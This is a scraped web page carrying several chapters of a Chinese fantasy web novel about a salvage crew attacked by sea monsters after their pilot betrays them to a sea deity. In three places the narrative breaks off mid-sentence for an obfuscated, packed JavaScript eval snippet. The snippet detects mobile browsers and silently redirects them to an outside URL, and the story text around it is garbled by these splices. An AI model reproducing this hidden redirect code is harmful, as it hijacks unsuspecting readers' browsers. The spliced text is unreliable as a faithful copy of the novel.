$(''#content'').append('' 。因为数量庞大,组织里人手不足,不得不外聘临时雇员。” “所以你才会出现在N278港口。” 唱鹿一改解说时的严肃,揶揄道:“现在愿意相信我啦?” 扶鸢:“……” 不想理你。 扶鸢将手上的枪械都检查过一遍,确保没有走火或卡匣问题。 刚想询问唱鹿接下来该做些什么,注意到她的表情冷得有点不正常,“有问题?” 唱鹿小声道:“太安静了。” 风暴来临之前,海面总是格外平静。 船上的其他老手也注意到了。 她们默默地给手枪上膛,眼睛观察四周,竖起耳朵仔细聆听。 海底有东西! 它们正在以常人难以想象的速度接近伊札里斯号,还没现身,但游动时发出的动静非常清晰。 “左翼!”唱鹿急声道。 话音方落,伊札里斯号遭到重击,整个船身猛然朝右方一斜。 甲板上的众人纷纷找东西扒拉住,这才勉强站稳,没有摔得人仰马翻。 普通异种没有这么大的攻击力。 唱鹿有种不祥的预感。 在船身稳定之后,她立即跑到围栏边往下看。 海水清澈,但因为是夜晚,光照不足,只能从泡泡的反射中勉强看到海面之下的一角。 隐约瞥见有一只巨大的章鱼触手从伊札里斯号的底部抽走。 太大了。 唱鹿怀疑自己是不是紧张得眼花。 打捞区以前从出现过如此庞大的异种,更何况这个位置打捞深度还不足五百米,离神秘海域还很远…… 可她确实看见了。 这头思绪未定,又听到欧泊高喊道:“有卵!” “我也!”是麻薯。 她掀开了一个木桶的盖子,桶里密密麻麻都是白色的卵。 随即是玉髓,“船舱里也有。” 拓风怒骂了一句,“这些鬼东西到底是什么时候上来的!” “不管是什么时候上来的,现在最重要的是把这些卵清除掉。”唱鹿说,“拓风和麻薯,你们负责甲板和第三层。欧泊和玉髓,你们去二层。我和扶鸢检查一层。” 众人异口同声,“好。” 这时,船载广播再度响起: “防护罩已开启。”依旧是若亚,“重复:防护罩已开启。” 唱鹿微微皱起眉头,似乎觉得有哪里不太对劲。 但见其他小组已经开始行动了,也不便拖延,连忙和扶鸢赶往最底层。 “异种的卵在找到合适的环境寄生后会迅孵化。卵很脆弱,但孵化出来的异种身上会有一层黏液,千万不要碰它,腐蚀性极强。”唱鹿语速飞快,她必须在短时间内把一些必要的东西教给扶鸢,“伊札里斯号的防护罩可以抵消大部分来自外部的攻击,但如果袭击太过猛烈——” “砰!” 船身又摇晃了一下。 因为有防护罩,没有造成太大影响。 “就像这样。”唱鹿咬牙切齿道,“防护罩最多只能坚持五分钟。” 扶鸢明白,“我们得尽快清理了。” 唱鹿按下作战服的左侧。 与此同时,她和扶鸢戴在右耳里的通讯器都亮起蓝光,紧接着为各自投射出一个眼罩大小的屏幕。 屏幕上是伊札里斯号的横切平面图。 六个黄点代表着她们和其他四名成员,正以两人为一组分别搜索着整艘游艇。 右上角有时间,唱鹿扫了一眼后道:“我们还有四分二十五秒,必须赶在防护罩被攻破之前回到甲板迎战。你左我右,分头行动。” “好!” 两人正欲分开,天花板上“咕唧”一声。 一只身上裹满绿色粘液的新生异种,掉落在她们脚边。 26. 迷雾 026. 此时此刻,扶鸢明白唱鹿为什么叫异种作丑东西了。 长得确实有碍观瞻。 它像没有眼睛、脖子两侧长了鳃的蓝皮蜥蜴,圆润的脑袋又像人,长蹼的手脚则像禽类。 它没有耳朵,光溜溜的脑袋上本该属于耳朵的位置只剩两个小孔,也不存在鼻子。 浑身挂满黏液,散发着腥咸味。 异种一孵化便有了极强的攻击性。 它从地板上一跃而起,张开裂到腮帮子的嘴,露出满口獠牙与坚韧的爪,嘶吼着朝两人扑过来。 唱鹿拔出手枪。 “砰。” 子弹穿透异种的脑袋,伤口淌出脓液的绿血。 异种挣扎着发出尖锐的鸣叫,最终化作一滩恶臭的液体,彻底消失不见。 “爆头是最有效的解决方法。”唱鹿说,“如果无法一击必中,那就瞄准它的鳃。离开海洋,又没了鳃,它们很难在陆地上继续存活。” 扶鸢记下,见唱鹿似乎还有话要说却没开口,便主动问道:“你是不是觉得哪里不对?” 唱鹿没表态,“先把这一层的卵清干净再说。” 没人知道这些卵是什么时候入侵了伊札里斯号,但被发现时,几乎都是即将孵化的状态。 它们密密麻麻地附着在门后、床底,甚至藏在抽水马桶的蓄水箱里。 除卵很容易,用刀子把复有弹性的卵壳划破即可。 而对那些已经孵化的新生异种,唱鹿都是毫不犹豫地举枪射杀。 整个清扫的过程中,她心中那种隐隐不详的感觉越来越重。 各种迹象都不对劲,偏又找不到一个确切的证据。 “甲板已清理完毕。” “三层完毕。” “二层船舱清理完毕,这些卵有点太多了。” “我这边也搞定了。”扶鸢说。 唱鹿通过屏幕确认另外五个人的方位,下达命令道:“三分钟时间补充弹药,再到甲板集合。” 众人异口同声地应道:“是!” 唱鹿走出储物柜,扶鸢正好从走廊的另一头过来。 扶鸢手里还握着枪,飞速打量了一下唱鹿此时的神态,更加确定事态不一般,“你很少有这种表情。” “是吗?” 几日相处下来,扶鸢大抵能摸清唱鹿的性格。 她属于无事时没皮没脸,遇事时冷静挑大梁。 现在呢。 过于肃穆,可谓是严阵以待。 “今晚的异种攻击性有点强,还出现了以往没见过的类型。”唱鹿说,“虽然也是一枪解决,但船上环境本就不利于异种。如果是在海里……” “你怀疑它们进化了?” “还不能下定论。地菩萨之前说海上的情况变了,或许这就是变化之一。” 说话间,唱鹿下意识朝舷窗望了一眼,随即变了脸色。 扶鸢亦朝外看。 只见一片浓雾糊在玻璃上,根本看不清海面上的情况。 “怎么起雾了?”扶鸢皱眉。 唱鹿意识到问题关键,急声道:“快,我们到甲板上去。” 一出船舱,满天浓雾将她们包围。 除了脚下的路,伸手就能碰到的队友,其他什么都看不见。 “到底是怎么回事啊?”麻薯的声音很近,人却被大雾吞没,唱鹿没办法准确找到她的方位。 “大家原地不要动,现在不适合走动。”是欧泊。 “雾里有东西!” 甲板上的每一个人都清楚看见了。 那是远比高楼大厦还要巨大的影子,隐约能识别出是一根粗壮的触手。 它蠕动,挥舞。 可怖的真身隐藏在浓厚的迷雾之中。 不知何处突然响起厚重沉闷的鼓声,带着某种说不清道不明的节奏。 时而很近,时而又很远。 “咚!” “咚咚!” “咚、咚!” 甲板上完全陷入死寂。 唱鹿看不到除去扶鸢外的其他队员,猜想都或多或少陷入了恐慌当中。 扶鸢现在脸色惨白。 每一次鼓声,都能让她的瞳仁微微颤动。 唱鹿也有点不适。 这诡异的鼓声,好像有敲打人心的魔力,她的心跳正无法控制地不断加速,竟然也开始感觉到慌乱。 不行。 不能听。 唱鹿抬手开启耳机的屏蔽降噪,尽可能隔绝掉鼓声。 她打开全队通讯频道: “我是唱鹿,现在在船舱入口。我所在的位置在地图上已经着重标记为红色。请各位打开耳机降噪功能,不要听外界的动静,尽快根据定位向我靠拢。” “收到请回答,重复,收到请回答。” 第一个作出响应的是拓风,“收到。” 她所代表的黄点正在迅速向唱鹿的方向赶来。 紧接着是双胞胎兄弟,他们同时回答道:“收到。” 两人的黄点也开始移动。 唯有麻薯,完全不出声,也没有动静。 唱鹿盯着她所在的黄点,不得不单独点名,“麻薯?” 没有反应。 唱鹿继续呼唤她,“麻薯?” 拓风偏离了原来的行径路线,突然拐向了麻薯的方向。 两发枪声响起,随之是异种的嘶吼。 欧泊与玉髓已经回到了唱鹿身边,“怎么回事?” 话音方落,只见拓风左肩肩上扛着麻薯,右手持枪冲出浓雾,朝她们疾跑而来。 没有丝毫犹豫,唱鹿说:“先撤回船舱。” 开门,让其他队员先进。 作为殿后,唱鹿持枪的手全程没有放下,直到所有人的进入船舱,她确保视野范围内没有危险后,才慢慢往后退。 扶鸢守在门口,唱鹿一进来,立马关门。 暂时安全了。 “我们去领航室看看。”双胞胎异口同声道。 若亚能够控制天气,如果她还活着,不可能任由大雾包裹伊札里斯号。 唱鹿点头表示许可,两人即刻离去。 现在门口只剩四个女性。 麻薯似乎才从某种惊吓中缓过神来,呆呆地望着墙,一言不发。 拓风替她解释道:“她被海里跳上来的异种缠住了。那东西和之前遇见过的异种长得都不一样,手臂像水母的触手,脑袋也是透明的。我不知道该怎么形容……总之,这片海域不对劲。” 唱鹿的眼神变得冷冽。 她也觉得不对劲,不仅是因为异种的形态变多了。 更因为……不,不能轻易说出来。 一群人一起出海,最怕就是其中某人存有异心。 在真正确定有问题之前,凡事都要谨慎处理。 思考的间隙,双胞胎兄弟回来了。 拓风迫不及待地问:“若亚呢?” 玉髓面露难色。 欧泊答道:“不见了。” “不见了?”拓风大为光火,“什么叫不见了?生就是生,死就是死,她还能凭空消失?” 扶鸢上前一步,搭上她的肩头,“冷静,先听他们把话说完。” “她不在领航室。”欧泊说。 “船长也不在船长室。”玉髓补充道。 唱鹿眉头紧锁,“所以,若亚和地菩萨都凭空消失了?” 等等。 似乎遗漏了某个关键点。 唱鹿看向拓风。 扶鸢还按着她,避免她火气上头,说出什么不该说的话来。 “是你负责清扫第三层。”唱鹿记得她汇报清理完毕的声音,“你没有进过领航室和船长室?” “我……”拓风哽咽了下,“没有。” 谁都没有说话,等着拓风的解释。 拓风深吸一口气,说:“我去敲过领航室的门,当时若 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895084|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亚还在,她说她会通知船长,让我先去处理其他地方。” 现在唱鹿可以确定了。 “若亚有问题。” “伊札里斯号起航,其他人都留在甲板上,而若亚回到领航室,地菩萨回到船长室。在那之后,还有谁见过地菩萨吗?没有。” “再有,广播都是若亚在播报。诚然她是舵手,负责规划航线并确定打捞点。但对一个出海的队伍来说,集结队员的船长才是话事人。现在,若亚和地菩萨都一起消失了。”唱鹿的大脑转得飞快,“地菩萨应该被关在伊札里斯号的某个地方,而若亚——” 扶鸢接话道:“她在躲着我们。” 拓风怒骂了几句脏话,“我当时就该闯进去!” “那你现在就是一具死尸了。”唱鹿毫不留情地说,“后悔也无济于事,目前最紧要是找到地菩萨。” 扶鸢欲言又止,“他指不定已经……” “即便是死了,尸体肯定还在伊札里斯号上。数据海上的任何抛尸行为都会迎来数量庞大的异种,和我们目前遭遇的情况不符。”唱鹿说,“总之先找,活要见人,死要见尸。重点搜索第三层。” 有了行动目标,欧泊为每一个人挂上增速,然后分头行动。 两个人再去一二层复查,另外四个人全在三层进行地毯式搜索。 五分钟后,在船长室汇合。 “一层没有。” “二层没有。” “船长室和领航室都没有。” “三层也没见到。” 毫无线索,众人把视线集中到唱鹿身上。 无形的压力沉沉落在唱鹿肩头,她也有点焦虑了,忍不住轻咬大拇指。 凭空消失? 不。 肯定有一个地方,一个清扫时会被直接忽略,后面也不会想到的地方…… 脑海中灵光一现。 唱鹿飞速赶往二层厨房,径直奔向冰柜。 锁还完整地挂在上面,显示屏亮着冷冻温度:-20℃。 拔枪,瞄准,射击。 火花在金属表面擦燃,锁应声落地。 双胞胎兄弟一左一右,合力掀开冰柜的盖子。 白雾随之冒了出来,其他人都警觉地举起了枪。 异种的卵在低温之下不会孵化,所以欧泊和玉髓在清扫时没有撬锁打开冰柜查看。 而谁都没想到,地菩萨会被关在里面! 他的手脚被捆住,毛皮上结了一层厚厚的霜,整个人已经冻僵了。 被搬出来后,很长一段时间还保持着蜷缩的姿势。 扶鸢挑开绳索,麻薯找来毛毯,拓风汇集起一股暖风,玉髓也第一时间为地菩萨进行治疗。 等地菩萨初步缓和过来,欧泊煮起了一大壶热水。 地菩萨的后脑勺有血迹,看样子是先被打晕,后被五花大绑,再拖到厨房,塞进冰柜里。 很难想象若亚有这么大的力气,她的外表看起来就是个普通的自然人女性。 如果不是有人帮忙,那便是另一种可能。 若亚有两个魔方。 一个正如她展现出来的,可以控制天气。而隐藏的另一个,极有可能和力量有关。 唱鹿来到地菩萨身边,一坐下便问:“若亚把你打晕的?” 地菩萨气不打一处来,“她一进门就把我打晕了,那么粗的水管对着我后脑勺来一下,星星在我眼前转。” 不想听他说废话,唱鹿打断道:“就她一个人?她再重不超过一百一十斤,身上也没什么肌肉,怎么做到把你从三层搬到二楼,又关进冰柜里的?” “我也不知道。”地菩萨捧着水杯,一张熊脸蔫了吧唧的,“她力气大得吓人,拖着我,还有余力哼小曲儿呢!” 唱鹿了然。 那便是第二个可能,若亚还有另一块魔方。 一名心怀不轨的舵手,把一群人引向一片充满危险的海域。 究竟想做什么? 27. 囚徒 027. 在场众人都很难相信若亚会背叛。 但事实摆在眼前,不得不信。 “这么做的目的是什么呢?把我们引到这里来,自己也讨不了好。”拓风的情绪越发激动。 扶鸢叹息,“只能问本人了。” 拓风一拳砸在餐桌上,怒声道:“我们都不知道她人在哪里!” 突然间,一声巨响从脚下传来。 伊札里斯号猛烈地左右晃动,弧度之大,几乎要把船上的所有人都甩飞! 众人连忙找东西攀住,在这持续十来秒的震动里勉强维系平衡。 船体一恢复平衡,唱鹿立即走到最近的舷窗。 她暗道一声不好。 伊札里斯号周围那若隐若现的蓝色保护罩已经完全不见踪影,“保护罩消失了。” 后方几人的脸色变得阴沉。 大家都听出能她的用词是消失。 消失有许多种可能。 被击破是消失,人为取消也是消失。 “你们快看!”麻薯那独属于追月族的大眼瞳已经放大到完全占据了整个眼眶,说明她正在凝视某种潜藏在黑暗中的东西,“迷雾也没有了。” 的确。 那层浓厚得令人伸手不见五指的雾气已然消逝。 可危险并没有就此解除,反而正在无声地靠近她们。 藏匿在迷雾之后的巨大触手,猛然冲出海面,朝伊札里斯号甩过来。 船内一众人透过舷窗清楚地看到这一幕,受到惊吓的同时,再度承接因重击导致的左右摆动。 “稳住!”唱鹿高声道。 这时最需要一个能够稳定军心的人,因此她绝对不能慌。 冷静。 想想办法。 越是危险,越要动脑筋。 摆动只持续了七八秒便结束。 其他人还在发懵,扶鸢已经拔出了枪准备应战,“那是什么?” 唱鹿从牙缝里挤出两个字,“母体。” 除了扶鸢和麻薯,另外几个人的脸色蒙上一层灰雾,仿佛已经看到死神在向她们招手。 “我们现在已经进入神秘海域了?”欧泊的嘴唇颤抖,眼瞳也因恐惧频繁闪动。 “伊札里斯号从未停止前行。” 在若亚的操控下,她们已经偏离了既定的航线。 伊札里斯号在迷雾中破浪朝前,早已远离了安全区,进入了一片前人不敢踏足的神秘海域。 麻薯的出海经验不多,扶鸢更是第一次出海的新手。 两人都不懂母体的含义,向唱鹿投来询问的眼神。 “众所周知,泡沫是已逝之人生前的记忆,但并非所有记忆都会化作泡沫。生前极端痛苦的部分,会显化为我们都厌恶的异种,联邦也把它们称为恶魔。快乐的部分则会化为海豚之舞、人鱼之歌,是一种可遇不可求的美景,转瞬即逝。如果一片海域中有太多的痛苦凝聚在一起,母体便会应运而生。”唱鹿说,“数据海承载了这个世界上每一个人的一生。假如某人生前遭遇了太过痛苦的事,这份怨恨、悲戚、不甘,就连无边无际的海洋都无法净化,便只能选择与之共存。” 玉髓轻声道:“异种是至死都在哭泣的前人。” 麻薯年纪还小,不大听得懂这些。 她不解地问:“为什么异种一直都在,可海豚之舞、人鱼之歌就不能一直都有呢?” 扶鸢温柔地摸了下女孩的脑袋,似乎是想起了某些往事。 她扯出一抹苦涩的笑,“快乐总是短暂的,不是吗?” 厨房里一片死寂,再也没人说话。 有的盯着舷窗外的夜空,也有的低头凝视足尖,各有所思。 “所以呢?”拓风站出来,“这就放弃了?什么都不做等死吗?” “母体出现代表现在在我们的脚下,伊札里斯号的船底,正聚集着成百上千只异种!”欧泊提高了嗓音,又在发泄后变得颓然,“谁都不想死,可是我们很难逃出去!” 唱鹿冷眼看着他们争吵,没有劝架。 她直接把问题丢给地菩萨,“船长的意思呢?” 虽说合约上签的是“自愿参加,后果自负”,可真在海上遇到危险,是进是退还得船长做决定。 一直默不作声的地菩萨抬头。 他与每个成员都交换过眼神,紧咬后槽牙说:“尝试返航,绝不放弃任何能够活下来的机会。” - 领航室的正面都是挡风玻璃,可以清楚地看到甲板与海面的情况。 有几只异种正在尝试从侧面爬上伊札里斯号,但这并不是目前最紧要的问题。 地菩萨检查完机房的情况,阴沉着脸走出来,宣布道:“伊札里斯号的能源箱和操控系统都被破坏了,所剩的能源只能维持供电半个小时,这艘船……” 他说不下去了,唱鹿只好为其补充,“伊札里斯号正在沉没。” 众人本也没有抱太大的希望,听到这个消息后,表情几乎没变化。 欧泊第一个以行动宣告放弃。 他靠墙坐下,嘴角扯出凄然的笑,“我死后,希望我的记忆不会变成异种。” 玉髓没说什么,默默地坐到哥哥身边。 “真的没有办法了吗?”扶鸢压低嗓音道,声音只有身旁的唱鹿和麻薯能听见。 麻薯咬住下唇。 她年纪虽小,但深谙世界弱肉强食的规则,对死亡早已有了充足的心理准备。 唱鹿倒不觉得,现在尚未走到绝境。 “能源箱有备用,备用仓库需要船长进行身份验证才能开启。地菩萨被打晕后直接拖进了冰柜里,也就是说备用仓库里的能源箱还在。但现在还有两个问题,一是如何修好伊札里斯号的操控系统,二则是——” 说话间,她的目光不经意扫过船长室的门,瞬间透过内嵌的窗户锁定门外那张那冷漠的脸。 “若亚!” 她没有丝毫犹疑,拔枪追了出去。 其他人听闻动静,纷纷掏出武器跟上唱鹿的步伐。 一行人追着若亚来到甲板上。 海风呼啸,那个女人就站在船头,双手搭着围栏,上半身朝前倾斜,如饥似渴地望着海底。 此时此刻。 在伊札里斯号的正下方,成群的异种正在海里游荡。 它们大小不一,形态也各不相同。 有的长得像水母,有的像没有皮的青蛙,还有的脑门上全是眼睛,诡异的模样令人望而生畏,偏又挨挤在一起,环绕在伊札里斯号的四周,还有一些试图爬上来。 甲板左右的枪声不停,可她们越是抵抗,异种的进攻越是猛烈。 拓风忍无可忍,抛下手枪,卷起风刃顺着船体飞速刮过。 那些已经攀爬到船身侧面的异种顿时被削成两半,尸体化作脓水落入海中。 终于争得一丝喘息的机会,欧泊气急败坏地冲到若亚身边。 他顾不得绅士风度,拽起若亚的衣领,把这个瘦小的女人拎了起来,“你到底想要做什么!” 哪怕被拎得双脚腾地,若亚脸上依旧写满讥讽,“我为什么要解释?感同身受是不存在的,你们无法理解我的思想和信仰,我也无法理解你们这番的无谓挣扎。” 欧泊举起枪口抵住她的下巴,“说人话,不然我就一枪崩了你!” 若亚只是笑。 笑得狂妄,笑得放肆。 就在欧泊忍无可忍,准备扣动扳机时,诡异的鼓声再次响起。 “咚!” “咚咚!” “咚、咚!” 唱鹿的胃里翻江倒海,涌起一阵恶心。 恶心之余,还伴随着头晕目眩的感觉,不得不扶住身侧的挂在墙上的救生圈,想要缓一缓。 难受的不止是她。 除了若亚之外,甲板上的每个人都出现了不同程度的恶心,最严重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903097|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的已经趴在地上干呕了。 这阵鼓声比第一次听见时距离更近。 每一下都像是在耳边敲击,震得五脏六腑都在抽搐,几乎要把灵魂震出□□。 好不容易舒服了些许,唱鹿侧耳细听,又听到了另一种奇怪的声音。 “咔哒、咔哒……” 沉重来自深海,生锈的铁链正在拉动。 与此同时,夜风变得更加凶猛,海面开始起浪。 失去动能的伊札里斯号没能在起伏的海面上保持平衡,所有人都陷入了轻微的失重里。 但最让人感到害怕的还是那两种声音。 犹如雷声轰动般的击鼓声,以及能让大海翻腾的拉链声。 哪怕打开耳机的屏蔽降噪,也无法阻挡这些声音钻进脑海里。 它们仿佛一只无形的手,能够探进胸膛,箍住跳动的心脏。 “Zdavys!” 若亚放声高喊。 她举起双手,瞪大眼睛,对着无边的大海与夜色,虔诚地呼唤着: 「Zdavys!」 「Viedlomv’mveloyleAopste!」 「Quvsvie’Yhtuhurluhty!」 唱鹿听不懂。 只能从发音和声调起伏大概能判断出可能是某种语言。 有点耳熟,好像在哪里听到过。 似乎是很久很久以前,久到她都忘记了时间…… 唱鹿摇摇头。 把杂乱无关的细枝末节甩开,将注意力集中到一点上。 但有一个词汇,她听得很清楚—— Zdavys. 这应该是第四个隶属名称。 换言之, 是另一位神祗的名讳。 若亚和暮烟一样。 她们信奉着魔方隶属的神祗,自认为是神祗的眷属。 假如真是如此,便也不难猜出若亚口中的那番晦涩难懂的语言,应当是在向神祗祈求。 依目前的情况来看……难道是在祈求神祗降临? 可是。 神真的存在吗? 鼓声和拉链声中止了。 唱鹿勉力重新站直,可耳畔还有余音,恐惧并未消解。 她朝前看,看向躺在夜色中的大海。 不知从什么时候开始,五彩斑斓的泡泡已飘出了海面,升到了空中。 它们如同一个个小灯泡,将即将失去所有电力能源的伊札里斯号照亮,也映出了甲板上每一个人的脸庞。 痛苦,悲哀,难过,绝望。 没有任何退路了。 唱鹿有一种冲动。 她想看看,看看海底到底有什么。 于是跌跌撞撞地朝围栏上靠,俯身朝那深邃的蔚蓝中望去—— 表面覆盖着一层绿色的藻类,棱角也因岁月的腐蚀不再尖锐。 四角的拉链深入更加隐蔽的海沟之中,它如同一个囚徒,被束缚在深海。 可依旧此巍峨,如此壮观。 那是, 一个倒着的金字塔。 母体伸出无数的触手将它环绕,异种们如同护卫帮环绕在母体的周围。 它们都在保护这座金字塔,仿若守护着宝藏的人。 唱鹿的大脑在一瞬间宕机。 她看到了什么? 难道是鼓声让她产生了幻觉,才会看到这么诡谲的场景。 “祂听到了!”若亚兴奋地尖叫,绕着围栏跑来抛弃,“祂听到了我的呼唤!哈哈哈哈——!” 没人阻止她,也没人再问她到底是什么意思。 所有人都失去了抵抗的力气。 只是看着她。 若亚爬到伊札里斯号的最高点。 她背对大海,张开双臂,脸上露出满足的微笑。 “你我,皆为蝼蚁。” 说完,往后倾倒,坠入深海。 28. 修复 028. 只差一厘米! 如果再快一点,唱鹿就可以抓住若亚。 晚了一步。 她眼睁睁看着若亚坠入海中。 那些在伊札里斯号船底游荡的异种,在海面溅屁水花的一刹,饿狼般扑食过去。 鲜血在深蓝中绽放,格外刺眼。 可不过半分钟,海水又变得纯净,只剩一具森森白骨沉入深渊。 这一幕,被站在制高点的唱鹿尽收眼底。 成千上百的异种环绕于这片海域,失去动能的伊扎里斯号正在沉没。 要不了多久,她们也会葬身在数据海中。 唱鹿抬起头。 自深海升起了无数高品质的泡泡。 它们明亮,纯粹,又脆弱无比,如同星辰般悬挂在夜空中,令脚下的这片海染上了绚丽的荧光。 好美。 美得让唱鹿莫名有了放弃的念头。 她似乎听见一个充满魅惑的声音正在说: 「你无需担起这一切,也不必为他人的过错负责。生命短暂,愧疚只是徒劳。」 「如果人生已能看到终点,不如好好享受当下。」 她几乎要被说动了。 是啊,又不是我的错,我为什么要如此拼尽全力呢…… 那道声音还在蛊惑她: 「逃避并非怯弱,放弃方是勇气。」 「你没有继续战斗的理由。」 唱鹿往后俯瞰。 甲板上。 扶鸢、麻薯、拓风、欧泊、玉髓,还有地菩萨,都在注视着她。 谁都不知道还能不能见到明天的太阳。 可是…… 她阖眼深呼吸,再度面朝大海。 “如果我放弃了,还有谁能救我们出去呢?” “我不能丧命于此。” “这,就是我战斗的理由。” 一只异种已经悄然攀至脚边。 唱鹿摸抢就要射杀,可还没扣动扳机,猛地被人扯住手腕。 劲儿太大,拽得她往后踉跄了一下。 旋即看到扶鸢焦急的脸。 她在说话,嘴巴动个不停。 明明近在眼前,唱鹿却听不到半点。 幻觉? 还是说她聋了? “唱鹿!” 第一声很悠远。 “唱鹿,你能听得到我说话吗?” 第二句才变得清晰。 唱鹿莫名有点恍惚。 感觉好像在困在什么地方很久,终于挣脱重获自由。 “我……”她看向自己的手,也看向脚边。 既没有那枪,也没有异种在往船上攀爬。 耳畔的说话声也不见了。 到底是怎么回事…… 扶鸢读出唱鹿的茫然,说:“你刚才像着了魔一样,不管我怎么叫都不回应,我们以为……以为你也要往下跳。” 话时,她忍不住想朝海面望去。 唱鹿立即阻止她,“别看,会陷入幻觉。” 扶鸢了然,“所以你刚才是……” “有个声音一直在蛊惑我,想让我放弃活下去的希望。”回想起来,犹觉得那声音充满了魔力,叫人趋之若鹜。 “会不会是Zdavys……?” - “你的意思是,若亚想把我们献给她的神?” “只是一种猜测。” 面对众人质疑的眼神,唱鹿没有把话说得太绝对。 她不能告诉其他人真相。事关身家性命,哪怕现在已经到了危急关头。 “我之前也遇见过一个女生,她口中所说的名字是Tsuda,若亚念的是Zdavys。虽然不知道具体代表什么,但这两个词的语言结构很类似,发音韵律也有相似之处。”唱鹿说,“最重要的是,若亚和那个女生都是受赐者。” 所有人都变了脸色,各自思考着这番话的可信度。 欧泊的嘴角抽搐两下。 他显然不能接受若亚的背叛是为了如此荒谬的理由,“证据呢?” “我说了,这只是一种猜测。”唱鹿冷声道,“信也好,不信也罢,但你我都知道这片海域存在着超出我们认知的存在。” 母体为人所知,是因为曾有人从它的爪牙下逃生。 而神秘海域,还没有人能活着走出去。 “也许有朝一日,我们也会陷入疯狂。”玉髓的低语宛若长叹。 “不管有没有那一天,现在我们还是正常人,必须想办法活下来,逃出去。” “说得容易。”拓风冷笑,“能源箱和操控系统都被若亚破坏了,这艘船已经下降了几厘米,即便我们转移到救生艇上,潜伏在海水里的异种也不会轻易放过我们。我们还能怎么逃,飞到天上去吗?” 身为船长的地菩萨站了出来,“各位,请先听我说一句。” “能源箱有备用,至于操控系统……我能修。”说完,他哽咽了一下,“但我有一个条件,在我修复期间,不能有任何人进入机房。否则我宁愿死,也绝不动手。” 这个条件无疑让其他六个人都迟疑了一下。 有若亚作为先例,如今任何单独行动都会让其他人无法安心。 建立信任很艰难,但破坏信任往往只需要一次背叛。 “成功率有多少?” “90%以上。” “需要多久?” “至少半个小时。” 半个小时足以让伊札里斯号的半截身子沉入海中,届时如果不能再度起航,当真就只有等死了。 可现在似乎也只有这一条路能走。 唱鹿想了想,“投票决定吧。” 双胞胎兄弟同时开口道:“反对。” 欧泊说:“事到如今,我们没办法继续无条件相信任何人。” 玉髓又说:“还请各位理解。” “我同意。”拓风举手,“越是这种时刻,我们越应该相互信任。” “我也同意。”麻薯说,“有希望总比没有强。” 目前是二比二打平。 还剩两个人没有表态。 扶鸢的双手抱在胸前,漠然道:“弃权。” 依旧是二比二。 最终决定权落到唱鹿手中。 她看向地菩萨,冷静地说:“给你三十分钟,我们会继续阻止异种登船。如果三十分钟后还不能修好,我们必须考虑搭乘救生艇离开这片海域。” 地菩萨重重点头,转身进入船舱。 唱鹿刚想下令分批回去补充弹药。 一条暗蓝色的触手飞速从船边窜出来,缠上了欧泊的双腿! 触手上的吸盘都长着一圈尖锐的小牙,它们紧贴着啃咬,瞬间撕破欧泊作战服,将他的双腿咬得鲜血淋漓。 又一使劲,轻易将欧泊拽倒在地,一路拖走。 “哥!”玉髓当机立断扑过去,死死抓住欧泊的手。 可他越是牢牢牵住不放,触手越是拖拽得凶猛,短短数秒已将欧泊的大腿啃出几个惨不忍睹的血洞。 拓风见状卷起风刃。 同一时间,麻薯闪现到围栏边,扛起背后的巨剑,和风刃一起对准那根蠕动的触手,狠狠劈下! 异种的攻击在此期间变得格外猛烈频繁。 那头为救欧泊使出浑身解数,这边的唱鹿和扶鸢也为阻止异种登船打空了备用弹夹,不得不拿出匕首引战。 好在唱鹿发现木桶上放着一副扑克牌。 她紧急动用[魔方·拟造],将扑克牌化作飞镖。 在加持下以三倍威力掷出去,子弹只能爆头,但扑克牌飞镖足以将异种的脑壳削掉。 可再如何强劲,扑克牌也和子弹一样,总有用完的时候。 不过须臾,唱鹿手里的扑克牌也只剩几张了。 太多了! 再这么耗下去,纵使弹药充足,人的体能也扛不住。 扶鸢有些坚持不住了。 她握着匕首的右手肉眼可见地颤抖,肌肉消耗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909386|158533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已然抵达临界点。 异种可不会让她们有喘息的机会。 它们接连不断地从海底爬上来,势必要将这艘船上的所有活人赶尽杀绝。 唱鹿和扶鸢退到一起。 她们背靠背,继续顽强地抵抗着。 这时,一道风刃呼啸着从两人周身刮过,飞速将那几只蓄势待发的异种切成两段。 拓风赶来支援,“你们还好吧?” 唱鹿匆匆往另一头扫了眼。 欧泊腿上那些触目惊心的伤口已经愈合,和另外两人配合击退异种。 “我们的弹药都打空了。” “我还有,用我的。”拓风把所有弹匣都拆下来,毫无保留全都交给她们,“要我说,手枪哪有风刃好使。” 听到这句玩笑话,唱鹿和扶鸢都忍不住扯了下嘴角。 笑意略显苦涩。 “快看!”麻薯率先注意到情况有变,“保护罩正在重新闭合!” 